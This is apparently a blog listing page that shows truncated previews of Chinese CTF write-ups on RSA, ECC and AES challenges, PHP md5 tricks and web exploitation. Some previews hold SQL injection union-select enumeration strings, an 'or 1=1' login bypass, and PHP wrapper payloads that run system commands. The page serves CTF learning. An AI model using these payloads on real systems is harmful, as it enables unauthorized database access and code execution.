5.1k 5 分钟

# picproblem # 题目 from PIL import Imagefrom Crypto.Util.number import *from numpy import array, zeros, uint8import gmpy2 as gpimport cv2from key import x,y,kn,hintimage = cv2.imread("flag.jpg")img_gray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)imagearray = array(img_gray)h = len(imagearray)w...
4.5k 4 分钟

# PHP md5 值 0e 开头 QNKCDZO s878926199a # [鹤城杯 2021] EasyP <?phpinclude 'utils.php';if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if ($guess === $secret) { $message = 'Congratulations! The flag is: ' . $flag; } else...
3.2k 3 分钟

# CRYPTO # corrupted_key # 题目 from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPfrom secret import flagkey =...
7.7k 7 分钟

# [HGAME 2022 week4]ECC # 题目 #sagefrom Crypto.Util.number import getPrimefrom libnum import s2nfrom secret import flagp = getPrime(256)a = getPrime(256)b = getPrime(256)E = EllipticCurve(GF(p),[a,b])m = E.random_point()G = E.random_point()k = getPrime(256)K = k * Gr = getPrime(256)c1 = m + r * Kc2 =...
6.4k 6 分钟

# babyrsa 通过 2emodn=c2^e\quad mod\quad n=c2emodn=c 可以分解 n 得到 p 和...
7.6k 7 分钟

# [极客大挑战 2019] EasySQL # 考点:sql 注入 username=1' or 1=1#password=1# [HCTF 2018]WarmUp # 考点:php 代码审计 f12 发现 source.php 查看 source.php 查看 hint.php 告诉我们 flag 在 ffffllllaaaagggg 里 代码审计 要判断是否不为空且在白名单中,并且会取出?号前的的字符串来进行判断 那么我们可以构造 ?file=source.php?ffffllllaaaagggg可以发现他是 true...
4.9k 4 分钟

# MYSQL mysql基础语句 测试多少列 1' order by 4# 爆库 -1' union select 1,database(),3# 爆表 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 爆字段 -1' union select 1,2,group_concat(column_name) from information_schema.columns where...
315 1 分钟

php 伪协议 ?file=php://filter/convert.base64-encode/resource=flag.php?file=php://inputpost:<?php system("tac flag.php");?>data 伪协议 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4phar 伪协议 ?file=phar:// 压缩包名 / 内部文件名例:phar://x.zip/x.php zip...
1.2k 1 分钟

# [SWPU 2020]ecb from Crypto.Cipher import AESimport osBLOCKSIZE = 16flag = os.environ['FLAG']def pad(data): pad_len = BLOCKSIZE - (len(data) % BLOCKSIZE) if len(data) % BLOCKSIZE != 0 else 0 return data + chr(pad_len) * pad_lendef unpad(data): num = ord(data[-1]) return data[:-num]def...
1.4k 1 分钟

# [安洵杯 2020] easyaes #!/usr/bin/pythonfrom Crypto.Cipher import AESimport binasciifrom Crypto.Util.number import bytes_to_longfrom flag import flagfrom key import keyiv = flag.strip(b'd0g3{').strip(b'}')LENGTH = len(key)assert LENGTH == 16hint = os.urandom(4) *...